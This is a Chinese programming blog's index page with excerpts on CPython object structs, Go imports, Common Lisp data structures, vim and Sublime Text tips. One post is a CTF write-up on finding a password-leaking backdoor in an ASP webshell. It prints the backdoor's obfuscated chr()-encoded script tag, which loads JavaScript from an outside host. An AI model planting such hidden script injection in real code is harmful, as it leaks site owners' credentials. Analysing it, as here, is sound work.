Python源码剖析笔记-Python对象初探

以前看过一部分了,现在拿起来重新看。不准备像作者一样一步一步的修改代码测试验证,我只是懂得机理,知道是个什么东西就行,作者叙述的内容已经经过验证不会有什么错误。代码我也是下载的python2.5版本的,对照着看看。   Python中,对象就是c中的结构体在堆上申请的一块内存,一般的,对象是不能被静态初始化的,并且也不能再栈空间上生存。唯一例外就是类型对象,内建类型对象(整数类型对象,字符串类型对象)都是静态初始化的。   PyObject  
typedef struct _object {

Py_ssize_t ob_refcnt;

struct _typeobject *ob_type

} PyObject
  Py_ssize_t 作者说当作int看,书上就写的int。整型变量ob_refcnt实现了基于引用计数的垃圾收集机制。对于对象A,有新的PyObject *引用该对象,A的引用计数增加,当删除时,减少。当A的引用计数减少到0时,A从堆上删除,释放内存。 结构体_typeobject是对应一个对象类型的类型对象,描述类型信息。   PyIntObject
typedef struct {

PyObject_HEAD

long ob_ival;

} PyIntObject
  PyObject_HEAD就是_object中的成员,在整型对象中,long型变量ob_ival就是存储的整数的值。作者用这个例子说明,python的对象都是基于PyObject的,并且还有属于自己的对象信息。   PyVarObject
#define PyObject_VAR_HEAD             \

PyObject_HEAD                  \

Py_ssize_t ob_size; /* Number of items in variable part */

typedef struct {

PyObject_VAR_HEAD

} PyVarObject
专为变长对象准备,整型的ob_size指明变长对象中容纳元素的个数,而不是字节数量。   PyTypeObject  
typedef struct _typeobject {

PyObject_VAR_HEAD

const char *tp_name; /* For printing, in format "<module>.<name>" */

Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */

struct _typeobject *tp_base;

…

} PyTypeObject
类型对象,结构体好长,也看不懂,复制作者有介绍的几个。 tp_name 类型名。tp_basicsize创建该类型对象分配的内存空间大小信息, tp_itemsize一个元素在内存中的长度,对不定长度的对象使用。 结构体中另外两部分:与类型对象相关联的操作信息,和类型信息。 tp_base 指定基类,tp_new创建对象,tp_init 初始化对象。tp_hash生产hash值   类型对象的类型, 每一个对象都有一个类型,比如:a=10, type(a),返回<type 'int'>,说明对象a的类型为int。但是int为类型,也是一个PyTypeObject对象,他的类型是啥呢。type(int)测试,返回<type 'type'>。type(type),<type 'type'>
Read more...

毕业设计题目

老师说要实现一个在线c语言学习的网站,引导用户一步一步编程。 找到这个网站:http://www.codecademy.com,准备以这个网站为原型设计。这个也不错http://www.paomianba.com/astar/ 需要一个一步一步的引导语,一个代码框,再一个代码保存的功能。代码运行这个先不考虑,安全性我还没考虑好。 加入用户登录功能,记录学习进度。加入每个步骤的提问,评论功能。 后台能够添加教程。 难度主要在代码输入编辑框中后,检测输入是否正确。 代码框准备使用http://ace.ajax.org/。前端使用js与服务器进行数据交互,判断是否正确。 后台代码用python写,框架不准备用django了,笨了点,使用tornado或者web.py,这两个文档都有看,就是没有实践一下了。数据库还是用mysql,查查资料,看看换个,借机学学其他数据库。
Read more...

Windows下vim编码设置

回家在Windows下又装上vim,打开以前用Sublime Text写的代码中 中文注释都乱码了。群里问是编码问题,网上找到修改方法: 在_vimrc的最前面加入下面二行。
let &termencoding=&encoding set fileencodings=utf-8,gbk,ucs-bom,cp936
记的保存哦,然后在用Vim打开看看,UTF8和GB2312都没有问题。
Read more...

Golang import使用入门---转自beego

总结的很好,《golang web 编程》作者维护的golang博客:http://beego.me/ 。。。。。。。。。。。。。。。。 我们在写Go代码的时候经常用到import这个命令用来导入包文件,而我们经常看到的方式参考如下:
import(
    "fmt"
)
然后我们代码里面可以通过如下的方式调用
fmt.Println("hello world")
上面这个fmt是Go语言的标准库,他其实是去goroot下去加载该模块,当然Go的import还支持如下两种方式来加载自己写的模块: 1.相对路径 import “./model” //当前文件同一目录的model目录,但是不建议这种方式来import 2.绝对路径 import “shorturl/model” //加载gopath/src/shorturl/model模块 上面展示了一些import常用的几种方式,但是还有一些特殊的import,让很多新手很费解,下面我们来一一讲解一下到底是怎么一回事 1.点操作 我们有时候会看到如下的方式导入包
import(
    . "fmt"
)
这个点操作的含义就是这个包导入之后在你调用这个包的函数时,你可以省略前缀的包名,也就是前面你调用的fmt.Println("hello world")可以省略的写成Println("hello world") 2.别名操作 别名操作顾名思义我们可以把包命名成另一个我们用起来容易记忆的名字
import(
    f "fmt"
)
别名操作的话调用包函数时前缀变成了我们的前缀,即f.Println("hello world") 3._操作 这个操作经常是让很多人费解的一个操作符,请看下面这个import
import (
    "database/sql"
    _ "github.com/ziutek/mymysql/godrv"
)
_操作其实是引入该包,而不直接使用包里面的函数,而是调用了该包里面的init函数,要理解这个问题,需要看下面这个图,理解包是怎么按照顺序加载的: 程序的初始化和执行都起始于main包。如果main包还导入了其它的包,那么就会在编译时将它们依次导入。有时一个包会被多个包同时导入,那么它 只会被导入一次(例如很多包可能都会用到fmt包,但它只会被导入一次,因为没有必要导入多次)。当一个包被导入时,如果该包还导入了其它的包,那么会先 将其它包导入进来,然后再对这些包中的包级常量和变量进行初始化,接着执行init函数(如果有的话),依次类推。等所有被导入的包都加载完毕了,就会开 始对main包中的包级常量和变量进行初始化,然后执行main包中的init函数(如果存在的话),最后执行main函数。下图详细地解释了整个执行过 程: [caption id="" align="alignnone" width="569" caption="golang import"]golang import[/caption]   通过上面的介绍我们了解了import的时候其实是执行了该包里面的init函数,初始化了里面的变量,_操作只是说该包引入了,我只初始化里面的 init函数和一些变量,但是往往这些init函数里面是注册自己包里面的引擎,让外部可以方便的使用,就很多实现database/sql的引起,在 init函数里面都是调用了sql.Register(name string, driver driver.Driver)注册自己,然后外部就可以使用了。 这样我们就介绍完了全部import的情况,希望对你理解Go的import有一定的帮助。
Read more...

common lisp数组(Array)-字符字符串

1.数组,Array make-array 构造一个数组。 [9]> (make-array '(2 3)) #2A((NIL NIL NIL) (NIL NIL NIL)) [10]> (make-array '(3 3)) #2A((NIL NIL NIL) (NIL NIL NIL) (NIL NIL NIL)) 其中 n 是数组的维度。 [11]> #2a((1 2 3) (4 4 4)) #2A((1 2 3) (4 4 4)) 可以使用:initial-element 参数初始化数组元素的值。 [12]> (make-array '(2 3) :initial-element 2) #2A((2 2 2) (2 2 2)) 取出数组内的元素我们调用 aref,要替换数组的某个元素,我们使用 setfaref。 > (setf arr (make-array '(2 3))) #2A((NIL NIL NIL) (NIL NIL NIL)) > (aref arr 0 1) NIL > (setf (aref arr 0 1) 'b) B > (aref arr 0 1) B > arr #2A((NIL B NIL) (NIL NIL NIL)) 2.字符串 一个字符 c#\c 表示 字符比较函数 char< (小于), char<= (小于等于), char= (等于), char>= (大于等于) , char> (大于),以及 char/= (不同) aref 来取出元素,但对一个字串,你可以使用更快的 char 函数。 [30]> (aref "abc" 1) #\b [31]> (char "abc" 1) #\b 比较两个字串,你可以使用通用的 equal 函数,但还有一个忽略大小写的比较函数 string-equal。 连接字符串 [7]> (concatenate 'string "not " "to worry") "not to worry" 3.结构 定义结构使用 defstruct, [8]> (defstruct point x y) POINT 定义了一个 point 具有两个字段 xy,操作方法: [9]> (setf p (make-point :x 0 :y 0)) #S(POINT :X 0 :Y 0) [10]> (point-x p) 0 [11]> (point-y p) 0 [12]> (setf (point-y p) 2) 2 [13]> p #S(POINT :X 0 :Y 2) 测试是否是一个point: [14]> (point-p p) T make-point , point-p , copy-point , point-xpoint-y 函数都是在定义结构时隐式定义了。 4.哈希表 (Hash Table) 当列表的长度大幅上升时(或是 10 个元素),使用哈希表会来得比较快。 [1]> (setf ht (make-hash-table)) #S(HASH-TABLE :TEST FASTHASH-EQL) [2]> (gethash 'color ht) NIL ; NIL [3]> (setf (gethash 'color ht) 'red) RED [4]> (gethash 'color ht) RED ; T [5]> ht #S(HASH-TABLE :TEST FASTHASH-EQL (COLOR . RED)) [6]> (setf (gethash 'size ht) '10) 10 [7]> ht #S(HASH-TABLE :TEST FASTHASH-EQL (SIZE . 10) (COLOR . RED)) [12]> (remhash 'size ht) NIL [13]> ht #S(HASH-TABLE :TEST FASTHASH-EQL (COLOR . RED)) make-hash-table构造一个哈希表,gethash第一个参数是键值,第二个是哈希表。返回的第一个参数是键值对应的值,不存在返回nil。第二个参数表示是否存在对应的值,不存在为nil,应该主要为了区别方便判断,比如nil可能为值。remhash是删除一个记录。 [14]> (setf ht2 (make-hash-table :size 5)) #S(HASH-TABLE :TEST FASTHASH-EQL) [15]> (setf ht3 (make-hash-table :test #'equal)) #S(HASH-TABLE :TEST FASTHASH-EQUAL) 参数:size指定哈希表的大小,:test指定查询时候比较时用的函数,从构造完返回的值有显示:test的不同。 common lisp函数还真不是一般的多,从第一次看就感觉有很多函数没必要有,现在的感觉是无论用其他的能不能实现,只要你想到的就必须用一个函数可以直接实现。感觉好怪
Read more...

解决问题的方法不止一种

今天群里发了西南石油大学安全比赛的地址。说一起刷分,正好中午时间,就做了几个简单的,只用了python+firebug,发现很多题都可以解。其中有一个题:shell分析,是个asp的webshell,让你找出shell里发送密码的后门。 这里记录我的思路: 开始看到这个题,直接找存储密码的变量,搜索。找到提交的地方和验证密码的地方,发现都没问题。(asp看不大懂) 然后搜索官网的url,我猜题中的后门肯定是官网的url,因为后门地址会显示解题密码。搜索“swpuwllm”无果,我想应该加密了,然后这个题就放下了。 下午,群里有人提出这个题,就又心血来潮,准备搞一下(还在上班)。。当时的第一反应还是加密了,但是为什么提交的地方和验证的地方没有呢? 下面我又在群里说,想到有asp环境的搭建个环境,看一下就好了,不是在浏览器端发送的密码,就是服务器端发送的密码,都能截到。 但是我当时上头了,非要找出来。就又把那两处的代码看了一遍,发现提交的地方form标签没有闭合,想到藏在其他地方了,往下看,发现下面就是登录后的功能了。(可能这里理解错误,asp不怎么懂) 突然想到,存储密码的是个变量,他随时可以发送啊,为什么非要这两个地方呢。于是想,会不会就像from标签没闭合,隐藏在哪个提交表单里,一起提交发送了呢。 于是搜索</form>,挨个排除。找到可以字串Function:Asuna=chr(62)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(47)&chr(60)&chr(62)&chr(115)&chr(106)&chr(46)&chr(117)&chr(112)&chr(119)&chr(115)&chr(50)&chr(49)&chr(48)&chr(50)&chr(47)&chr(110)&chr(99)&chr(46)&chr(105)&chr(101)&chr(102)&chr(97)&chr(121)&chr(97)&chr(109)&chr(46)&chr(119)&chr(119)&chr(119)&chr(47)&chr(47)&chr(58)&chr(112)&chr(116)&chr(116)&chr(104)&chr(61)&chr(99)&chr(114)&chr(115)&chr(32)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(60):看不到什么意思,就先翻一下(到现在也不知道他是怎么做的,懒得看)这是在上传的地方的代码,想研究肯定需要搜索Asuna。 下面,用python,split,eval,显示出字符串。顺序打乱了,不过能看出url的格式。还能看出是用的js。 发到群里边,已经有搭建asp环境找到的。然后。。 解决问题有很多思路撒,由于环境,技术等各种因素可能对你不合适,转变思路总可以的撒~
Read more...

python中and or用法

python中的and-or可以用来当作c用的?:用法。比如 1 and a or b,但是需要确保a为True,否则a为False,还要继续判断b的值,最后打印b的值。 今天看到一个好方法避免这种情况,记录一下: (1 and [a] or [b])[0] 可以保证[a]为True。
Read more...

sublime text编辑器

官网:http://www.sublimetext.com/,文档:http://www.sublimetext.com/docs/2/index.html。早就听说的编辑器,今天心血来潮下载看看。win下的界面比win下的vim界面满意很多,非常好看,也不需要配置字体啥的,默认的就不错。还没有看文档,看了首页介绍的编辑器特色。 1.跳转。 Ctrl+P,可以文档直接跳转,也可以文档内跳转。Ctrl+P打开输入框,输入文件名就会跳转文档,可以自动识别文件明,比如符号,大小写的间隔。可以上下选择。 @可以跳转类、函数名啥的,可以直接ctrl+r;#搜索单词的,:是跳转到行ctrl+g。(这些在菜单栏都有提示) 符号和文档的选择可以结合使用,比如:tp:100。 2.命令选择 Ctrl+Shift+P,官方首页有个动态图片的例子,改变现实语法的,变成python的,只需要sspy回车就好了,有提示只要输入第一个字母就行了。 3.分屏 alt+shift+1,2,3,4, 4.多选择 Ctrl+D选择光标所在的下一个单词,接着按会选择下一个出现的这个单词。 ctrl+L选择一行 Alt + Shift + <arrow>选择 Ctrl + Alt + Up Ctrl + Alt + Down 你可以直接打开一个文件夹,将搜索整个文件夹里的文档。  
Read more...

common lisp列表学习2

1.映射函数 [1]> (setf l '(1 2 3)) (1 2 3) [8]> (mapcar #'(lambda (x) (+ x 10)) l) (11 12 13) maplist 接受同样的参数,将列表的渐进的下一个 cdr 传入函数 [9]> (maplist #'(lambda (x) x) l) ((1 2 3) (2 3) (3)) 2.树 看完这一节,才对lisp的其中一个优点有所理解。就像lisp的名字“Lisp” 起初是 “LISt Processor” 的缩写。都是列表啊。 Cons 对象可以想成是二元树, car 代表右子树,而 cdr 代表左子树。图就不传了,原图有点错误,这个比较好理解。 我们有下面的列表。 [13]> (setf x 1) 1 [15]> (and (integerp x) (zerop (mod x 2))) NIL [16]> (setf x 2) 2 [17]> (and (integerp x) (zerop (mod x 2))) T [18]> (setf x 2.0) 2.0 [19]> (and (integerp x) (zerop (mod x 2))) NIL 用来判断x是整数,并且被2 整除,这不是函数形式,想把其中的x改成y的时候。我们将他看成整个列表进行操作。看到这里我才明白,汗。 [20]> (subst 'y 'x '(and (integerp x) (zerop (mod x 2)))) (AND (INTEGERP Y) (ZEROP (MOD Y 2))) 单引号的功能前边有介绍,但是没这样的例子,当时还是仅仅的理解为'(a b c)。 [24]> (cons 'a 'b) (A . B) 这是一个非正规列表,称之为 [caption id="attachment_808" align="alignnone" width="96" caption="点状列表"]点状列表[/caption] 。 common lisp列表操作的函数好多,大概试了,就不记录了,等以后查看文档。
Read more...

common lisp的列表(Lists),等式 (Equality)

1.列表(Lists) cons把两个对象结合成一个有两部分的对象,称之为 Cons 对象。概念上来说,一个 Cons 是一对指针; 第一个是 car ,第二个是 cdr 。 任何非空的列表,都可以被视为一对由列表第一个元素及列表其余元素所组成的列表。 [1]> (setf x (list 'a 'b 'c)) (A B C) [2]> (car x) A [3]> (cdr x) (B C) 看图理解cons。 [caption id="attachment_801" align="alignnone" width="298" caption="lisp list"]lisp list[/caption] 可以这么些: [8]> (setf y (cons 'a (cons 'b (cons 'c nil)))) (A B C) 与图中所画内容相对应了 嵌套列表 [9]> (setf z (list 'a (list 'b 'c) 'd)) (A (B C) D) [10]> (car (cdr z)) (B C) [caption id="attachment_802" align="alignnone" width="300" caption="lisp嵌套列表"]lisp嵌套列表[/caption] 如果参数是一个 Cons 对象,函数 consp 返回真。
(defun our-listp (x) (or (null x) (consp x)))  因为所有不是 Cons 对象的东西就是一个原子 (atom),判断式 atom 可以这样定义:
(defun our-atom (x) (not (consp x)))
NIL 是一个原子,同时也是一个列表。 (null x)就是判断x为nil时,返回t。当然空列表也是nil。 2.等式 (Equality) 每一次你调用 cons 时, Lisp 会配置一块新的内存给两个指针。所以如果我们用同样的参数调用 cons 两次,我们得到两个数值看起来一样,但实际上是两个不同的对象: [14]> (eql (cons 'a nil) (cons 'a nil)) NIL 本质上 equal 若它的参数打印出的值相同时,返回真: [15]> (equal (cons 'a nil) (cons 'a nil)) T 3.lisp的指针 书上给了一个例子: [22]> (setf x '(a b c)) (A B C) [23]> x (A B C) [24]> (setf y x) (A B C) [25]> y (A B C) [26]> (eql x y) T 当我们给 y 赋一个相同的值时, Lisp 复制的是指针,而不是列表。当你赋一个值给变量或将这个值存在数据结构中,其实被储存的是指向这个值的指针。当你要取得变量的值,或是存在数据结构中的内容时, Lisp 返回指向这个值的指针。 函数 copy-list 接受一个列表,然后返回此列表的复本。 [27]> (setf y (copy-list x)) (A B C) [28]> (eql x y) NIL 4.列表的存取 [29]> (nth 0 '(a b c )) A [30]> (nth 1 '(a b c )) B [35]> (nthcdr 0 '(a b c d)) (A B C D) [36]> (nthcdr 1 '(a b c d)) (B C D) [37]> (nthcdr 2 '(a b c d)) (C D) 取第几个元素用nth,nthcdr是取第n个cdr,nth 等同于取 nthcdrcar。并且都是零索引。 Common Lisp 定义了函数 first 直到 tenth 可以取得列表对应的元素,但不是 零索引。 函数 last 返回列表的最后一个 Cons 对象。此外, Common Lisp 定义了像是 caddr 这样的函数,它是 cdrcdrcar 的缩写 (car of cdr of cdr)。所有这样形式的函数 cxr ,其中 x 是一个字串,最多四个 ad ,在 Common Lisp 里都被定义好了。
Read more...

Previous Page 1 2 3 4 5 6 7 8 9 10 Next Page 最后一页